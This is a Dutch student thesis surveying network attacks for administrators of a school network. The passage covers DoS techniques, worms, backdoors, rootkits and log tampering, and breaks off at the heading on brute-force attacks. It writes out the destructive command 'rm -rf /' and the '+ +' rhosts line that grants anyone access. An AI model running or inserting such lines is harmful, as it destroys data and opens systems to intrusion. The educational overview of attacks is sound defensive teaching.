Netwerkbeveiligingsoplossing voor het KAHO-netwerk

Maarten Laruelle (4Elict)

Inleiding.

In het volgende werk wordt eerst een deftige uiteenzetting gedaan van de mogelijke aanvallen die een netwerk te verduren kan krijgen (deel 1) en de methodes die worden toegepast door een "hacker" om binnen te raken op een netwerk (deel 2). Pas in deel 3 kom het eigenlijke schoolnetwerk ter sprake, met daarin de analyse van het netwerk een overzicht van de problemen en een suggestie tot verbetering.

Deze indeling is uit zichzelf gegroeid. Er bestaat niet zoiets als een algemeen werk over hoe een aanvaller te werk gaat en de middelen die hij daarvoor aanwendt. Aangezien ik eerst al deze gegevens heb moeten verzamelen en verwerken vond Alcatel het een goed idee om daar mee te beginnen. Ze zouden het later ook kunnen gebruiken voor interne doeleinden. Maar ook voor het team van netwerkbeheerders van de school blijkt het een handig hulpmiddel te zijn.

De mensen die dit eindwerk in al zijn bèta versies hebben doorgenomen, drongen er wel op aan te vermelden dat de lezer een basis kennis TCP/IP en netwerken nodig heeft. Daarom heb ik ook zoveel mogelijk getracht supplementaire informatie te voorzien op een bijbehorende cd-rom.

Of dit eindwerk gevaarlijke informatie bevat? Het is mijn bedoeling geweest een hulp te maken voor netwerkbeheerders, maar zoals met alles in de maatschappij, kan iets dat gemaakt is om de ene groep te helpen misbruikt worden door de andere groep.

1 Overzicht mogelijke aanvallen

 

Inhoudsopgave

·          

Algemene inleiding.

In dit eerste deel geef ik een overzicht van de netwerk aanvallen die mogelijk zijn.

In het eerste hoofdstuk beginnen we met ``Denial of Service'' aanvallen. Enkele voorbeelden dus van manieren om een systeem te laten vastlopen, opzettelijk te vertragen of te voorkomen dat het bepaalde diensten nog aanbiedt.

Het tweede hoofdstuk wordt kwaadwillige software besproken. Verschillende soorten van programma's komen hier aan bod, die tot doel hebben een systeem te beschadigen of een onrechtmatig toegang te verschaffen.

In het derde hoofdstuk wordt er gesproken over uitbuiting van zwakheden, beter gekend als exploits. Exploits zijn programma's die specifiek ontwikkeld zijn om bepaalde zwakheden in een ander programma uit te buiten.

In het vierde hoofdstuk kijken we naar de mogelijkheden die IP biedt aan een aanvaller om een systeem te misbruiken. Elk protocol brengt zo zijn eigen problemen met zich mee, aangezien IP het meest voorkomende protocol is, leek dit de beste keuze.

1. ``Denial of Service (DoS).''

DoS is, zoals de naam het al laat vermoeden, een mechanisme gebruikt om bepaalde services uit te schakelen. De manier waarop kan zeer verschillen. Het kan gewoon de bedoeling zijn van een bepaalde computer neer te halen door het overvloedig versturen van data ( e-mail, grote hoeveelheid van login aanvragen). Meer subtiel is het ook mogelijk een bepaalde service te overbelasten, waardoor het bijvoorbeeld onmogelijk wordt om nog log bestanden bij te houden, zodat een inbreker ongemerkt zijn gang kan gaan.

Recent dagen er meer en meer berichtgevingen op over gedistribueerde denial of service attacks. Hierbij gebeurt de aanval vanaf verschillende "hosts" gelijktijdig. Men tracht op Internet een groot aantal computers te kraken, waarop men dan een programma installeert. Dit programma luistert op een bepaalde poort, alwaar het UDP pakketjes verwacht. De coördinerende computer heeft een lijst van alle IP adressen van de computers die besmet zijn. Van zo gauw de aanval wordt gelanceerd, stuurt de coördinerende computer naar al deze computers een bericht met het aan te vallen IP adres. Collectief gaan al deze computers een aanval lanceren, met het vernietigende effect tot gevolg.

 

Figuur: DDoS

1.1 ``Flooding'':

De naam zegt het zelf al, bij deze DoS probeert men bepaalde services te verzuipen door er een abnormale hoeveelheid rommel naar te verzenden. Zo kan het zijn dat een aanvaller de volledige inhoud van zijn harde schijf meermaals doorstuurt via e-mail naar het slachtoffer. De term "flooding" wordt algemeen gebruikt voor een hoeveelheid netwerkverkeer dat buiten proportie is. Verder in dit hoofdstuk zullen we een meer gedetailleerd voorbeeld van "flooding" bestuderen, namelijk aanvallen op basis van SYN/RST.

 

Figuur: Flooding

1.2 ``Smurfing'':

De twee basis ingrediënten voor deze "DoS" zijn geforceerde "ICMP echo requests" en de werking van het "broadcast" IP adres.

Het "Internet Control Message Protocol" (ICMP) wordt gebruikt om errors af te handelen en controle boodschappen uit te wisselen. ICMP kan bijvoorbeeld gebruikt worden om te kijken of een computer op het Internet nog wakker of bereikbaar is. Om dit laatste te realiseren wordt een "ICMP echo request" verzonden naar de betreffende computer. Wanneer dit pakket bij de betreffende computer arriveert, zal deze computer een "ICMP echo reply" terugzenden. De meest voorkomende implementatie van deze test is beter gekend als het "ping" commando. ICMP wordt ook gebruikt om de status van het netwerk door te geven, opstoppingen te signaleren of netwerk transport problemen mee te delen.

Op IP netwerken zijn er twee verschillende manieren om een pakket te adresseren. Ofwel wordt het pakket naar een specifieke host gestuurd ofwel naar het "broadcast" adres van een deelnetwerk. Wanneer een pakket naar een "broadcast" adres wordt verzonden, wordt het opgenomen door alle hosts in het betreffende netwerk. Het is zelfs mogelijk, als de "router" het toelaat, om vanaf een extern netwerk een bericht naar een "broadcast" adres van het betreffende netwerk te zenden.

De "broadcast" adressen binnen het Internet Protocol worden weergegeven met allemaal enen voor het host gedeelte van het betreffende netwerk. Stel bijvoorbeeld dat we een klasse A netwerk (10.0.0.0) hebben. Zonder verdere onderverdeling van dat netwerk, zou het "broadcast" adres weergegeven worden door 10.255. 255.255. Hebben we daarentegen ons klasse A netwerk onderverdeeld in 256 deelnetwerken, dan krijgen we voor het deelnetwerk 10.23.0.0 als "broadcast" adres 10.23.255.255.

Nu we de basis ingrediënten kennen van deze DoS-aanval, gaan we eens kijken hoe zo"n 'smurf attack" verloopt. De aanvallers gebruiken dus de besproken "ICMP echo request" pakketjes en sturen deze naar "broadcast" adressen van verwijderde subnetwerken. Eigenlijk zijn er drie partijen betrokken bij deze aanval. De aanvaller, de tussenliggende en het slachtoffer. Let op de tussenliggende en het slachtoffer kunnen dezelfde zijn.

De tussenliggende ontvangt het "ICMP echo request" pakket dat geadresseerd is aan zijn "broadcast" adres. Wanneer deze tussenliggende, meestal een "router" of "gateway", ICMP pakketjes toelaat aan het "broadcast adress", zullen alle hosts die wakker zijn op het betreffende netwerk, antwoorden op de aanvraag. Als er verschillende hosts op dit deelnetwerk zitten is het te begrijpen dat er een serieuze overhead op de lijn gecreëerd wordt.

Wanneer de aanvaller dergelijke pakketten aanmaakt, gaat hij niet zijn eigen IP adres gebruiken als bron adres. Hij gaat daarentegen trachten een vervalst IP pakket op de lijn te zetten met als bron adres het adres van het slachtoffer. Zodoende gaan alle hosts hun antwoord naar het slachtoffer versturen, waardoor deze laatste voor een tijdje blokkeert of zelfs volledig vastloopt. Niet alleen het slachtoffer kan last hebben van al deze post, ook de tussenliggende kan soortgelijke hinder ondervinden als het slachtoffer.

Momenteel zijn er programma's te vinden op het Internet die op zoek gaan naar routers die "broadcast" toelaten. Vervolgens wordt naar de bijbehorende "broadcast" adressen "ICMP echo requests" verzonden met als bron adres allemaal hetzelfde slachtoffer. Een voorbeeld programma is beschikbaar op de bijbehorende cd-rom.

 

Figuur: Smurfing

1.3 ``Out-of-band'':

Wanneer Windows een TCP/IP pakketje ontvangt met de "URGENT" vlag aan blijft het op de betreffende poort waar dit pakket is aangekomen wachten op data.

De truc hier bestaat er in geen data na te sturen, waardoor zowel Windows 95 als NT in de problemen komt. Het systeem loopt vast en de gebruiker krijgt het gekende blauwe scherm te zien, met het verlies van niet opgeslagen data en netwerkverbinding tot gevolg.

De meeste programma's maken gebruik van poort 139, de netbios poort, maar ook andere poorten zijn ontvankelijk. Het programma kan zowel getest worden op verwijderde computers als op de eigen Windows machine. Voor bron code van een "oob" programma zie cd-rom.

 

Figuur: Out of band

1.4 ``SYN Flooding'':

Een connectie binnen het TCP/IP protocol bestaat uit vier parameters. Eerst en vooral is er het bron adres van de "host" waarop het proces loopt. Daarbij komt dat op de "host" aan het proces een unieke poort is toegekend, zodat TCP weet voor welk proces het data ontvangt en alzo ook de reacties terug kan doorspelen. Op de doelcomputer hebben we hetzelfde setje aan parameters. Natuurlijk is het doel adres verschillend van het bron adres, anders zou de host tegen zichzelf aan het praten zijn (kan natuurlijk wel, maar dan zit hij met een serieus veiligheidsprobleem). Het poort adres kan hetzelfde zijn, maar dat is niet noodzakelijk.

IP bevindt zich op niveau 3 van het osi-referentie model. Wat wil zeggen dat het zich niets aantrekt van de manier waarop de data gecodeerd is op het lokale netwerk (Manchester codering,...) of van de toegang tot het netwerk (voor verdere uitleg zie het osi-referentie model), maar ook niet over de volgorde waarin de pakketten toekomen en of ze wel allemaal toekomen, daar heeft het bijvoorbeeld de TCP-laag ("Transfer Control Protocol")voor.

Alle IP pakketten bestaan uit een "header" en de eigenlijke data. Deze data is eigenlijk het pakket dat het van de bovenliggende laag heeft ontvangen. Dit pakket bestaat op zijn beurt ook weer uit "header" en data. De IP "header" bevat onder andere het bron en doel adres van de "hosts" en het protocol type van de ingepakte data ( bijvoorbeeld TCP wordt voorgesteld door een 6, UDP door 17,...).

TCP pakketten op hun beurt bevatten in hun eigen "header" de bron en doel poorten, samen met SEQ/ACK nummers (SEQ = sequentie, bepaalt bij initialisatie, geeft een volgorde nummer voor de volgende byte die dient verzonden te worden, of van de eerste byte die momenteel in het pakket verpakt zit; ACK = "acknowledge" , is het SEQ nummer dat verwacht wordt van de andere host, impliceert een kwijting) en nog een aantal vlaggen.

UDP pakketten op hun beurt hebben in de "header" ook de poorten en vlaggen maar geen SEQ/ACK nummers, omdat UDP een protocol is dat geen vaste verbinding opzet tussen bron en bestemming. Het is zoals men zegt een connectieloze verbinding.

Laten we uit gaan van twee "hosts" Alfa en Bèta op hetzelfde netwerk en een "host" Honderd op een ander netwerk. Stel nu dat "host" Alfa slaapt en er een gebruiker aan host Bèta zit die iets tegen "host" Honderd heeft.

Om op TCP niveau tot een verbinding te komen, wordt gebruik gemaakt van een driedelige handdruk. Een aanvraag tot connectie initialisatie (SYN), een tweede pakket van de andere host om te zeggen dat hij het wel ziet zitten en tot slot een bevestiging van de initialisator.

Wat de gebruiker nu doet is vanaf "host" Bèta een pakket op de lijn zetten in naam van "host" Alfa(= "IP-spoofing"), met de aanvraag om een connectie op te zetten aan "host" Honderd. Honderd gaat indien hij de aanvraag kan afhandelen, een akkoord terugsturen naar Alfa. Wanneer Alfa wakker zou zijn, zou hij tegen Honderd zeggen dat hij een foutief pakket heeft ontvangen en dit mag weggooien. Geen verbinding dus. Aangezien host Alfa slaapt, blijft Honderd voor een tijdje op antwoord wachten en houdt zodoende een stukje van zijn buffers vrij voor de mogelijke connectie. Wanneer de gebruiker dit nu meermaals herhaalt, raken de buffers volzet met wachtende verbindingen en kunnen er dus geen nieuwe verbindingen aangenomen worden. "Host" Honderd wordt voor een tijd monddood gemaakt.

 

Figuur: SYN flooding

1.5 ``Nuking'':

Wordt algemeen gebruikt wanneer men iets "reset". Hier kunnen we het bekijken vanuit het standpunt dat je een systeem lastig valt met vervalste TCP pakketten, zodat de actieve connecties worden "gereset".

In de UNIX wereld staat "rm -rf /" ook bekend als "nuking".

Laten we verder gaan met de Alfa, Bèta, en Honderd "hosts" en er nu van uitgaan dat er een verbinding bezig is tussen Alfa en Honderd. We bestuderen even twee mogelijke "nukes" die kunnen gerealiseerd worden door te prutsen met vlaggetjes.

 

Figuur: Nuking

1.5.1 RST:

Een TCP pakket heeft vlaggen die weergeven wat de toestand is van het pakket, zoals daar is de RST-vlag. Deze vlag wordt gebruikt om een connectie te "resetten". Opdat het pakket als geldig wordt aanvaard, is enkel een geldig sequentie nummer noodzakelijk, er is geen noodzaak aan een ACK in een RST pakket. Stel dat een pakket van Honderd naar Alfa gezien wordt door Bèta. Het is dan een makkie om met behulp van de ACK uit dit pakket een geldige "reset" aanvraag naar Honderd te sturen. Op Bèta maakt men een pakket aan met als bron adres, het adres van Alpha, en met als sequentie nummer het ACK nummer van het opgevangen pakket. Wanneer dit pakket bij Honderd arriveert voordat het volgende pakket van Alfa toekomt, gaat Honderd over tot een "reset" omdat hij er van uitgaat dat Alfa dat gevraagd heeft. Alle pakketten met betrekking tot de connectie die nu nog toekomen van Alfa bij Honderd worden door Honderd als ongeldig afgedaan. Omdat TCP de mogelijkheid heeft meerdere pakketten op te slaan om ze in de juiste volgorde te plaatsen, zijn er steeds meerdere pakketten onderweg en kan er een verouderd pakket zijn opgevangen. Zodoende kan het noodzakelijk zijn Alfa even te vertragen door de buffers te laten vollopen, zie hierboven bij 'sYN flooden", of een spervuur los te laten met steeds toenemende SEQ nummers.

1.5.2 FIN:

FIN is een andere vlag die aan de ontvanger laat weten dat de zender geen data meer heeft door te geven en dus eigenlijk de connectie wenst te beëindigen. Als men er nu in slaagt om een geldig pakket te maken dat door een van de twee verbonden host wordt ontvangen. Waarbij dit pakket zegt dat de ander de verbinding wenst te verbreken, zal de ontvangende host een bevestiging sturen dat hij heeft begrepen dat de ander de verbinding wenst te sluiten door ook een pakket te zenden met een geactiveerde FIN vlag.

Belangrijk voordeel van deze vorm van aanval is dat de aanvaller effectief de bevestiging ziet passeren van de verbroken verbinding.

2. Kwaadwillige software.

Onder kwaadwillige software verstaat men hier alle verdoken software die specifiek ontwikkeld is om schade aan te richten en/of illegale toegang te verschaffen tot de host waarop hij wordt geïnstalleerd.

2.1 Worm:

We spreken over wormen wanneer we het hebben over programma's die op het Internet "leven". Hiermee wordt bedoeld dat deze programma's onafhankelijk van één specifieke computer draaien, ze reizen als het ware over het netwerk van host naar host. Ze zijn in staat de "resources" van de computer waarop ze zich bevinden te gebruiken om zichzelf voort te planten. Ze zijn verschrikkelijk moeilijk te schrijven aangezien ze gebruik maken van fouten in verschillende netwerkprotocollen om zich te kunnen voortplanten. De schade is naargelang, omdat ze trachten een heel netwerk te infecteren.

Hieronder volgt een korte beschrijving van de Internet worm die door de student Robert Tappan Morris op 2 november 1988 op het netwerk werd losgelaten. Indien u meer informatie wenst kan u altijd terecht op de bijbehorende cd-rom, daarop staat de volledige RFC1135.

In de loop van 1988 ontdekte Morris 2 bugs in Berkeley UNIX die het mogelijk maakte toegang te verwerven tot UNIX machines op het Internet. Op basis hiervan schreef hij, op zijn eentje, een zichzelf duplicerend programma, de worm, dat van deze bugs gebruik maakte en zichzelf dupliceerde op elke machine waartoe het toegang kon verwerven.

Het programma dat hij ontwierp bestond uit twee belangrijke delen, de "bootstrap" en de eigenlijke worm. De "bootstrap" heette l1.c en was 99 regels C code. Dit programma werd gecompileerd en uitgevoerd op het systeem dat werd aangevallen. Wanneer de "bootstrap" liep, maakte het een verbinding met de machine waar hij vandaan kwam en laadde de eigenlijke worm. Vervolgens werd de worm uitgevoerd. Deze probeerde eerst zijn eigen bestaan zo veel mogelijk te verbergen om vervolgens in de route tabellen van het systeem op zoek te gaan naar andere systemen om de "bootstrap" te exporteren.

Er werden drie methoden geprobeerd om de worm draaiende te krijgen op het volgende systeem. De eerste methode berustte op rsh. Zoals we verder zullen zien bij "backdoors" kan een machine een "remote shell" starten op een andere machine als zijn host naam in de ".rhost file" voorkomt. Als dit lukte, werd de worm geladen op het andere systeem en ging verder met het besmetten van andere systemen.

De tweede methode was volledig gebaseerd op "buffer overflow". Ook hier zullen we later in detail op terugkomen. Op UNIX machines draait (draaide) meestal een "finger daemon". Deze daemon stelt gebruikers van het netwerk in staat om over andere gebruikers informatie op te vragen. Door "finger naam@site" in te typen kan (kon) men informatie verkrijgen over de persoon. Nu de bug die Morris had ontdekt was dat als men naar de "finger daemon" een aanvraag verstuurde met een speciaal geconstrueerde string van 536 bytes, de "daemon" vast liep. De "daemon" was namelijk niet voorzien op zulke lange aanvragen, maar op zijn beurt controleerde de "daemon" ook niet op te lange aanvragen. Morris had de string nu zodanig geconstrueerd dat de "daemon" na het vastlopen niet terug naar de "main" van het programma keerde, maar naar een procedure binnen de string van 536 bytes op de stack. Deze procedure probeerde "/bin/sh" uit te voeren, als dat lukte had de worm nu een 'shell" op de aangevallen machine.

De derde methode was gebaseerd op een bug in 'sendmail" die Morris had gevonden. Dankzij deze bug kon de worm de "bootstrap" verzenden naar de volgende machine en deze laten uitvoeren.

Telkens wanneer de worm toekwam op een nieuwe machine keek hij of er al een worm liep. Indien dit het geval was, stopte de worm daar, met uitzondering van 1 op de 7 gevallen. Dit heeft de worm de nek omgedaan, omdat op korte tijd verscheiden machines gewoon verzadigd waren met wormen. Waarom Morris de 1 op 7 regel heeft toegepast blijft een raadsel. Vermoedelijk deed hij dat om te voorkomen dat snuggere beheerders zelf een pseudo worm gingen installeren om besmetting te voorkomen.

 

Figuur: De Internet worm

2.2 Virus:

Is een stukje code dat verborgen zit in de code van programma's. In tegenstelling tot een worm kan een virus niet zelfstandig bestaan. Het virus is pas in staat zich voort te planten wanneer het programma waarin het verborgen zit wordt uitgevoerd. Het virus gaat dan eerst andere bestanden infecteren alvorens het eigenlijke programma op te starten. Meestal merkt de gebruiker dus niets alvorens het te laat is. Daarbij komt dat virussen op een bepaald moment hun ware aard gaan tonen en bijvoorbeeld na de "incubatietijd" destructieve of andere ongewenste activiteiten uitvoeren. Het ene besturingssysteem is al meer vatbaar voor virussen dan het andere. Unix heeft van nature, dankzij de bestandssysteem protectie, een betere beveiliging tegen virussen dan andere OS.

2.3 Log manipulaties:

Programma's die speciaal ontwikkeld zijn om de sporen van een inbraak uit de log-bestanden te verwijderen. Laten we eens kijken waar standaard de log-bestanden zich bevinden bij een UNIX systeem.

Bij een standaard installatie vind men deze onder :

/etc/utmp

/usr/adm/wtmp

/usr/adm/lastlog

...

Een verstandige beheerder zal zijn systeem een beetje aanpassen zodat het op dit gebied afwijkt van de standaard installatie. Een ervaren hacker weet wat hij moet zoeken, niet zo zeer waar.

Deze logbestanden zijn niet zo simpel te lezen, maar ook daarvoor circuleren verscheiden programma's op het Internet.

Een voorbeeldje is te vinden op de cd-rom.

Ook Windows systemen hebben hun log-bestanden en hun programma's om deze te lezen.

2.4 ``Sniffing'':

Programma's die gebruikt worden om op het lokale netwerk te luisteren naar alle verkeer dat er passeert, noemt men 'sniffers".

Bepaalde netwerken lenen zich perfect tot deze vorm van hacking. Bij ethernet netwerken zal bijvoorbeeld elke host op een deelnetwerk, alle trafiek die op de lijn passeert, binnen halen. Elk pakket wordt gekopieerd en doorgegeven om te kijken of het IP-doeladres dat het pakketje bevat hetzelfde is als het IP-adres van de huidige host. Indien dit pakketje niet bestemd is voor deze host, dus wanneer de IP-adressen niet overeenstemmen, zal het gewist worden.

'sniffers" zorgen er nu voor dat deze pakketjes wel bijgehouden worden en kunnen deze zelfs verder analyseren. Zo bestaan er bijvoorbeeld speciale 'sniffers" die in de pakketjes op zoek gaan naar een gebruikersnaam/paswoord reeks. Maar ook de hoeveelheid netwerkverkeer in een bepaalde richting kunnen belangrijke informatie opleveren. Zo zijn bijvoorbeeld aandachtige journalisten te weten gekomen wanneer het eigenlijke signaal is gegeven voor operatie "desert storm". Hoe? Doordat er die avond abnormaal veel telefoontjes vanuit het Witte Huis richting pizza bestellers waren, was het duidelijk dat er een hele hoop mensen wisten dat ze zouden moeten overwerken...

2.5 ``Backdoors'', ``Trojans'' of ``cloacking'':

Het zijn verschillende termen voor verschillende vormen van illegale toegangssoftware. Het best kan men ze omschrijven als achterdeurtjes. Hieronder volgt een overzicht van mogelijkheden met de bijbehorende termen. Sommige van de besproken deurtjes zijn verouderd en allemaal komen ze uit de UNIX wereld. Niet dat dit niet bestaat in de Windows wereld, maar deze manier stelt ons in staat een goed gedocumenteerde uitleg te geven ook met betrekking tot de evolutie. De heden ten dagen gemaakte software bouwt gewoon verder op dezelfde principes.

Achterdeurtjes worden door aanvallers gebruikt om drie redenen.

Eerst en vooral is het de bedoeling om toegang te blijven behouden tot een "host" ook al heeft de beheerder getracht deze te beveiligen. Dit kan bijvoorbeeld door het vervangen van paswoorden of het vervangen van "login scripts".

Ten tweede is het de bedoeling om ongemerkt toegang te verkrijgen tot de betreffende machines. Veel achterdeurtjes bieden de mogelijkheid om te werken zonder dat er iets wordt opgenomen in de "log bestanden" of laten zelfs uitschijnen dat er niemand op het station ingelogd is terwijl de aanvaller op de achtergrond rustig aan het werken is.

Tot slot is het ook de bedoeling om zo snel mogelijk terug toegang te verkrijgen. Meestal prefereert de aanvaller een makkelijke toegang boven het moeten boven halen van alle "exploits" die hij nodig heeft om deze toegang te krijgen. Daarnaast kan het natuurlijk ook mogelijk zijn dat de aanvaller zo achterdochtig is dat hij het onveilig acht een achterdeurtje te plaatsen. Wanneer hij dan steeds opnieuw gebruik maakt van dezelfde "vulnerabilities" en "exploits" om toegang te krijgen tot de machine kunnen we de "vulnerabilities" beschouwen als de meestal onopgemerkte achterdeur.

Een overzicht:

``Password Cracking Backdoor''

Waarschijnlijk een van de oudste vormen van achterdeuren. Hier gaat het niet over de manier waarop de paswoorden worden geraden, daarvoor verwijs ik naar het deel over "Brute Force Attacks". Een paswoord kraak programma wordt losgelaten op de login sessie om alzo zwakke en weinig gebruikte accounts te vinden. De aanvaller veranderde dan het paswoord naar een meer moeilijke versie. Wanneer de beheerder nu een controle doet op te eenvoudige paswoorden zal de gekraakte versie niet verschijnen, waardoor de aanvaller voor een tijdje veilig zit.

``Rhost + + Backdoor''

Een heel gekende achterdeur in de UNIX wereld. Diensten zoals daar zijn "rsh" en "rlogin" gebruiken een eenvoudige authenticatie methode gebaseerd op de "hostname". Een gebruiker kan op een eenvoudige manier bepalen welke "hosts" hij aanziet als vertrouwd, zodat deze geen paswoord nodig hebben om in te loggen. Om dit mogelijk te maken creëert de gebruiker een "rhost file" waarin de vertrouwde "hosts" zijn opgenomen. De meest grove manier die een aanvaller kan gebruiken is te trachten in dit bestand de regel "+ +" op te nemen waardoor iedereen toegang krijgt tot de "host", meestal controleert de netwerkbeheerder wel op dergelijke regeltje. Dan is het aan de aanvaller om verfijnder te werk te gaan en in het bestand een andere host uit het netwerk op te nemen die al gecompromitteerd is.

``Checksum and Timestamp Backdoors''

Veel aanvallers vervangen de "binaries" door hun eigen Trojaanse versie, men spreekt ook wel van "cloacking". Aangezien veel systeembeheerders de aanmaaktijd ("timestamp") en de controlesom ("checksum") in het oog hielden om te kijken of ze nog wel gebruik maakten van de originele versie in plaats van een Trojaans versie, zijn veel aanvallers gaan zoeken of het mogelijk was deze laatste twee te kraken. De tijdsstempel is eenvoudig te omzeilen door er voor te zorgen dat de tijd op de computer waarop de Trojan wordt aangemaakt overeen komt met de aanmaaktijd van de originele "binary". De controle som werd meestal aangemaakt met behulp van CRC(``Cyclic Redundancy Check''), een algemeen gekend algoritme dat makkelijk te misleiden is. Daarom is het aan te raden om voor de berekening van de controle som een MD5 te gebruiken. MD5 is gebaseerd op een algoritme dat momenteel nog door niemand is achterhaald.

``Login Backdoor''

Onder UNIX is "login" de authenticatie die wordt gebruikt wanneer via telnet contact wordt gemaakt met de UNIX machine. Aanvallers hebben de login.c code gekraakt van deze service en een eigen versie aangemaakt die volledig lijkt op het origineel, maar die een soort default paswoord kent. Wanneer iemand inlogt, wordt het meegegeven paswoord steeds vergeleken met een paswoord dat in de bron code van de vernieuwde versie is meegegeven. Indien het niet overeen komt wordt er pas gekeken naar het eigenlijke paswoord bestand. De aanvaller voorziet dus een eigen paswoord in de bron code waardoor hij steeds kan inloggen zelfs onafhankelijk van de meegegeven gebruikersnaam.

``Telnetd Backdoor''

Wanneer een gebruiker naar een "host" telnet, zal normaal gezien op de doel computer een "inet daemon" luisteren op de betreffende poort. Deze "daemon" zal de connectie opvangen en doorspelen aan de "in.telnet daemon" welke op zijn beurt de authenticatie met behulp van login voert. Aangezien al doorgedrongen was dat sommige "login binaries" corrupt waren bij beheerders, gingen de aanvallers een stapje verder. Dit deden ze door de "in.telnetd" te vervangen. Aangezien "in.telnetd" bepaalde controles uitvoert om vast te stellen welke terminal (Xterm of VT100) de inbeller gebruikt, hebben ze de code aangepast zodat de "daemon" ook een eigen vorm van terminal herkent die totaal geen authenticatie nodig heeft. Aanvallers hebben op die manier een hele hoop diensten aangepast waarbij een aanvraag vanaf een bepaalde poort geen authenticatie nodig heeft.

``Cronjob Backdoor''

"Cronjob" op UNIX systemen zorgt voor tijdsscheduling. Het zorgt er voor dat bepaalde toepassing op bepaalde tijdstippen worden uitgevoerd. Je hebt bijvoorbeeld een groot document dat een aantal keer dient afgeprint te worden tegen morgen. In plaats van tijdens de kantooruren uw collega's te irriteren met het bezet houden van de centrale printer, kan je deze opdracht door spelen aan de "cron" deze zorgt er dan voor dat uw karwei wordt uitgevoerd om 3 uur 's nachts. Op dezelfde manier zijn aanvallers er in geslaagd om de "cron" een "backdoor service" te laten starten op uren dat er niemand op kantoor is. Dus niemand die hen direct kan detecteren .

``Library Backdoors''

De strijd blijft voortduren. Aangezien "login" nu al gecontroleerd wordt door beheerders, gaan aanvallers de gedeelde bibliotheken die ontwikkeld zijn om de bron code te beperken infecteren. Bijvoorbeeld de cript.c die door login.c wordt gebruikt, wordt nu voorzien van bijvoorbeeld een default paswoord zoals eerder besproken. Dus wanneer de beheerder "login" controleerde met behulp van MD5 zou hij niets aan de weet komen. En nog ging men een stapje verder, omdat beheerders op de duur alles begonnen te MDvijven. Men ging de open() en bestandstoegang routines voorzien van deurtjes. Wanneer nu een bestand werd aangeroepen om te lezen, zoals bijvoorbeeld om de MD5 controle uit te voeren, werd de originele versie aangeroepen, maar wanneer dit zelfde bestand (hier een programma bevattend) werd aangeroepen voor uitvoering, werd de Trojaanse versie gebruikt. Het enige wat er uiteindelijk nog op zat voor de beheerders was alle programma's op een statische manier te linken aan de MD5, zodoende voerde de programma's zeker niet de Trojaanse versies uit. Het zelfde principe kan natuurlijk ook worden toegepast op de kernel van UNIX. Waarschijnlijk is dit laatste wel een van de moeilijkste vormen om op te sporen. 'scripts" van deze aard worden maar weinig gepubliceerd en weinigen weten hoe verspreid ze zijn.

Nu we een paar mogelijkheden hebben besproken zal het wel niet verbazen dat aanvallers er ook in geslaagd zijn bepaalde bestandssysteem commando's om te bouwen om er voor te zorgen dat beheerders hun Trojanen niet opmerkten.

Om deze soms lange bestanden te verbergen hebben ze bijvoorbeeld er voor gezorgd dat "ls" (de UNIX "dir") ze niet weergeeft. Sommige zijn zelfs zo creatief om hun bestanden op de harde schijf te markeren als "bad sector" waardoor het eigenlijke bestandssysteem ze negeert, maar hun eigen software ze wel degelijk als bruikbaar herkent.

Als de bestandssysteem commando's kunnen aangepast worden, kan dat ook voor de commando's die gebruikt worden om te zien welke processen op dit moment lopen. "ps" bijvoorbeeld geeft bij het aanroepen dan alleen weer dat er enkel legale processen in de running zijn, maar dat er "netwerksniffers" op de host aan het lopen zijn vergeet hij te vermelden. Maar het is ook mogelijk dat het deurtje is aangepast aan interrupts, zodat wanneer de vraag van "ps" komt om weer te geven welke processen bezig zijn, het zichzelf tijdelijk opschort waardoor het niet in de lijst van lopende processen voorkomt.

Ook in het "bootblock" (dat deel van de harde schijf dat gebruikt wordt om op te starten ("booting")) worden dikwijls deurtjes verstopt, omdat in de UNIX wereld weinig software controle uitvoert op dit deel van het systeem.

Op Internet zijn er zelfs volledige zogenaamde "rootkits" te vinden. Dit zijn pakketten die de nodige programma's verzamelen en collectief installeren om een aanval te lanceren. Hierin zit dan bijvoorbeeld een programma om log bestanden te manipuleren(z2), een ethernet sniffer(Es),een "checksum" vervalser (Fix), magische paswoorden naar login om root te worden(Sl), ...

Niet alleen wensen aanvallers hun bezigheden op de doelcomputer te verbergen, maar ook op het betreffende netwerk blijven ze liever onopgemerkt. Soms is het noodzakelijk dat ze door "firewalls" geraken, hiervoor proberen ze verbindingen te gebruiken gebaseerd op vergeten poorten, of gebruiken toegelaten poorten om langs daar ander verkeer te sturen.

2.6 ``Backdoor daemons'':

Het meest gekende voorbeeld van dit moment is natuurlijk Back Orifice 2000. De grote discussie rond dit programma gaat over het feit of het nu een ``remote control program'' is of een echte backdoor. De makers van het programma houden staande dat het een remote control is, maar alle security sites signaleren het als een veiligheids probleem.

Het programma gedraagt zich als een client/server applicatie, waarbij het mogelijk is vanop afstand systemen te controleren met een vast IP-adres. Dit alles zonder dat de systeem beheerder of de eindgebruiker er iets van merkt. Het server gedeelte kan als een attachment meegezonden worden met een elektronische mail. Wanneer de lezer van de mail het attachment activeert, installeert de BO2K-server zich op de achtergrond. Het gaat een, door de aanvaller, vooraf gedefinieerde poort openzetten en wacht daar op inkomende commando's van de aanvaller. Hierdoor kan de aanvaller volledige controle over het systeem bemachtigen, zelfs als de eindgebruiker, die het programma activeerde, geen beheerder was van het betreffende systeem.

In zijn eerste release was Back Orifice alleen schadelijk voor Windows 95 en 98, de 2000 versie is nu ook bruikbaar op het NT platform. En andere gekende backdoor daemon is Netbus. Deze is ook bruikbaar op alle Windows platformen. Voor zij die graag meer te weten komen over het programma BO2K is het toegevoegd op de bijbehorende cd-rom.

3. Uitbuiting van zwakheden.

Software verbergt vaak fouten, ook wel "bugs" genaamd. Wanneer men nu specifiek programma's gaat ontwikkelen om deze fouten uit te buiten, dan spreken we van ``exploits'', afkomstig van ``exploiting vulnerabilities''.

3.1 ``Acces Permissions'':

Misbruik van de lees/schrijf toegang tot systeembestanden. Bepaalde bestanden worden aangemaakt door processen die ``root''/beheerder rechten hebben op de computer. Aangezien deze bestanden meestal ook ``root''/beheerder rechten hebben, zijn ze zeer gegeerd bij aanvallers. Als namelijk een gewone gebruiker er in slaagt zo een bestand op te sporen, waarvan de beveiliging niet volledig is. Het bestand is bijvoorbeeld door iedereen beschrijfbaar. Dan kan hij dit bestand mogelijk gaan gebruiken om ``root''/beheerder rechten te verkrijgen op de computer. Voor een meer gedetailleerd voorbeeld kan u even verder kijken naar het ``ps'' voorbeeld bij ``Race Conditions''

3.2 ``Brute Force Attacks'':

